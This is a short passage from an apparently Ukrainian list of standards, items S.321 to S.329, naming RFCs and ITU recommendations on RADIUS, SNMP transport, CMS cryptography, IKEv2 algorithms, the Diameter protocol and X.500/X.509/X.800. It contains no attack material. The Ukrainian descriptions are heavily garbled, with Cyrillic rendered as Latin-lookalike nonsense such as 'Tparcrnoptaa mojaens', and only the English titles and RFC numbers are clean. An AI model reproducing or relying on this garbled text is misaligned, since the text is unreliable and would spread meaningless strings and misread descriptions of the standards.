S.321. RFC 5608 (Proposed) — BukopucTtanHs ciyx0u ayreHTH]IKALT
BIJJAJICHUX KOPHCTYBaviB 1O KOMyToBaHuMX kaHamax 3Bs3ky (RADIUS) vy
TpancnopTHuX mMojeneit y SNMP.

S.322. RFC 5652 «Cryptographic Message Syntax (CMS)» 3 BukopucTaHHs
kpuntorpadiuaux anroputmis 3rigao 3 RFC 3370 «Cryptographic Message Syntax
(CMS) Algorithms» a6o Texniunux cnerudikanii 1o RFC 5652, 3arBepmkeHnx
Haka3oM AnmiHicTpamii Jlep>kaBHOI Ciy)OW CIEIiaJbHOTO 3B S3KYy Ta 3aXHUCTY
iHpopMarii YkpaiHu.
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S.323. RFC 5903. Elliptic Curve Groups modulo a Prime (ECP Groups) for IKE
and IKEv2.

S.324. RFC 6353 (Draft) — Tparcrnoptaa mojaens TLS mst SNMP.

S.325. RFC 6733 Diameter Base Protocol.

S.326. RFC 8247 (Algorithm Implementation Requirements and Usage
Guidance the Internet Key Exchange Protocol Version 2 (IKEv2)) — npaBuna
peaizalii Ta BAKOPUCTaHHS KpUIIToaaroputMie B IKEV2.

S.327. X.500 «Cny>x6a mUpeKTOpiii: OrjIsi KOHIICTINA, MOJIEICH 1 CEPBICIBY.

S.328. X.509 «Cnyx0a nupekTopiil: kKapkacu cepTu(dikaTiB BIIKPUTHX KIIIOUiB
1 aTpuOyTIBY.

S.329. X.800 «ApxitekTypa 0e31eKu A1 B3aEMOI11 BIAKPUTHX CHCTEM.
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